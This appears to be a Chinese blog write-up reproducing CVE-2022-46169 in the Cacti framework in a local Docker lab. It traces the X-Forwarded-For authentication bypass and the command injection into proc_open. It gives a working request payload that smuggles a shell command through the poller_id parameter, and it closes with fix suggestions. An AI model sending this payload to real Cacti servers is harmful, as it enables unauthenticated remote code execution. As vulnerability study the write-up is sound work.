CVE-2022-46169 cacti仙人掌框架的rce 漏洞复现
环境配置
我们在docker环境内配置
然后我们在vs code连接docker容器

现在需要配置xdebug,等会方便我们追代码
这个添加需要我们在vs code中完成
pecl install xdebug-3.1.6
运行安装 xdebug
docker-php-ext-enable xdebug
启用 xdebug 扩展
在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容:
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
然后重新连接即可
接着我们登录创建好环境

根据代码审计 发现我们的漏洞利用点在/remote_agent.php这个文件
因为我是菜鸡且复现 已经有了payload 那我们直接知果倒因来试一下 并且用debug来断点分析一下
复现分析
这是payload:
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

入侵成功

这里发现有一个鉴权函数,我们进去看一下
function remote_client_authorized() {
global $poller_db_cnn_id;
/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}
$client_name = gethostbyaddr($client_addr);
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
这里我们发现,$client_addr = get_client_addr(); 直接通过这个函数来获取的ip地址,我们继续进去看看
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}
return $client_addr;
}
这里看起来就是 依次取了这些请求头,然后将他放进下面取依次循环


这里用循环来判断ip是否合法
然后他这里直接break 2,跳出两层循环,
所以他一旦找到了一个合法的ip。他就会跳出循环直接将当前的ip赋值给client_addr


当我们不赋值的时候,他读取的REMOTE_ADDR 在我们设置的HTTP_X_FORWARDED_FOR的后面所以
他获取到了ip后就直接跳出了,127.0.0.1 ,合法 ,绕过了这个鉴权函数
重新下断到

进入分析
function set_default_action($default = '') {
if (!isset_request_var('action')) {
set_request_var('action', $default);
} elseif (is_array(get_nfilter_request_var('action'))) {
if (read_config_option('log_validation') == 'on') {
cacti_log('WARNING: Request variable \'action\' was passed as array in ' . $_SERVER['SCRIPT_NAME'] . '.', false, 'WEBUI');
}
set_request_var('action', $_REQUEST['action'][0]);
} else {
set_request_var('action', $_REQUEST['action']);
}
}
这里就是对action做了处理
如果传入的action不正常,那么就会做如下处理
不允许传入数组,且必须要有参数
如果传入数组,那么就会提交日志,记录这是异常行为
所以这里我们需要传入正常的字符串
因为我们利用点 在后面那个pro 函数执行的地方,所以我们要进入
case 'polldata': 这个分支
也就是为什么,我们的action要传入polldata 这个值

我们真正的利用点在下面这个函数里面

这里 我们需要get传参 local_data_ids ,host_id,poller_id,
我们也可以发现,这里只有local_data_ids 后面加了s,大概率就是一个数组了,因为是复数嘛
,get_nfilter_request_var 他这里获取好像也过滤了我们的 get传参,进入分析

很简易的一个函数
看起来也并没有过滤什么
这里也成功的取到我们传入的参数

这里也成功的取到我们传入的参数

$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
他先读取配置里 PHP 解释器的路径,确保用正确的 PHP 二进制执行,然后与目标执行的 PHP 脚本路径进行拼接,然后又与 $poller_id 拼接,最终执行了我们的rce
接下来我们倒着分析回去
看看如何让他进入这个分支
POLLER_ACTION_SCRIPT_PHP 想让他进入这个分支,

全局搜索发现这个的值为2
所以说这里我们 需要找到对应的action = 2 的时候

往上发现,他这里的action 是通过items 这个值传入的
也就是他会在数据库去查询,查询到这个action为2的
才会进入我们想要的分支
也就是说,我们需要控制 host_id 和local_data_id 这两个的值,让他代入去数据库中查询,精确查找出这个action=2,
然后我们去 连接一下数据库查询一下 poller_item 这个字段

查询后发现,只有 id=6的时候这个action才是2
所以这个时候,我们只需要拿出 host_id 和local_data_id 这两个的值
host_id = 1
local_data_id = 6

然后他就会进入这个进行循环,这时候这个action 就是2 ,也就成功进入了我们的分支

然后这里我们 local_data_ids 必须传入一个数组,不然他进这里这个循环就会报错
所以这里我们传的local_data_ids[0]=6
最后她走到我们的proc_open这里执行任意的函数,我们的rce 也生效了


总结
rce 执行归结于 proc_open函数 他直接进行了拼接,且未对我们用户的输入做过滤,导致了rce
鉴权函数也可以优化,最简单的方法就是改变一下那个数组的顺序,将用户不能控制的ip放在最前面,让他循环一次就会直接判断
而且他这个回显的过滤也很好绕过。
但是终归还是没对用户的输入做过滤
更多推荐
所有评论(0)